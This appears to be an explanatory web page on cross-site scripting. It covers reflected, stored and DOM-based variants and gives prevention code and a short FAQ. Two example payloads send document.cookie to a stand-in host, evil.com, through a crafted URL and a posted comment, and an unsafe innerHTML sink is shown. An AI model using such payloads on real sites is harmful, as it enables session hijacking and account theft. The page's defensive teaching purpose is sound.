What Is XSS (Cross-Site Scripting)?

Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious JavaScript into pages viewed by other users. The injected script runs in the victim's browser with full access to their session, cookies, and the page DOM, enabling session hijacking, data theft, and account takeover.

Types of XSS (Cross-Site Scripting)?

Reflected XSS

Malicious script is embedded in a URL or form submission and reflected back in the server's response. The attack requires the victim to click a crafted link.

https://example.com/search?q=<script>document.location="https://evil.com/?c="+document.cookie</script>

Stored XSS

Malicious script is permanently stored on the server (in a database, comment field, or user profile) and served to every user who views the affected page.

An attacker posts a comment containing <script>fetch("https://evil.com/steal?cookie="+document.cookie)</script>

DOM-based XSS

The vulnerability exists in client-side JavaScript that processes untrusted data (URL fragments, postMessage data) and writes it to the DOM without sanitization.

document.getElementById("output").innerHTML = location.hash.substring(1)

How to Prevent It

// 1. Output encoding — escape HTML entities
function escapeHtml(str) {
  return str.replace(/&/g, '&amp;').replace(/</g, '&lt;')
    .replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#039;');
}

// 2. Use textContent instead of innerHTML
element.textContent = userInput;  // Safe
element.innerHTML = userInput;    // DANGEROUS

// 3. Content-Security-Policy header
// Content-Security-Policy: script-src 'self'

// 4. Framework auto-escaping (React, Vue, Angular)
// React: {userInput} is auto-escaped
// Vue: {{ userInput }} is auto-escaped
// Angular: {{ userInput }} is auto-escaped

Real-World Impact

Session hijacking via cookie theft, account takeover, keylogging, phishing via page defacement, cryptocurrency mining, worm propagation (Samy worm infected 1M MySpace profiles in 20 hours).

Related Questions

Scan your system prompt with LochBot — free, client-side, no data sent anywhere.

Frequently Asked Questions

What is XSS?

XSS (Cross-Site Scripting) is a vulnerability where an attacker injects malicious JavaScript into a web page viewed by other users. The script executes in the victim's browser with their session privileges, enabling cookie theft, session hijacking, and account takeover.

How do I prevent XSS?

Use output encoding (escape HTML entities), Content-Security-Policy headers, framework auto-escaping (React, Vue, Angular), and avoid innerHTML. Validate and sanitize all user input on both client and server side.

What is the difference between reflected and stored XSS?

Reflected XSS requires the victim to click a malicious link — the payload is in the URL. Stored XSS is permanently saved on the server and attacks every user who views the page, making it more dangerous.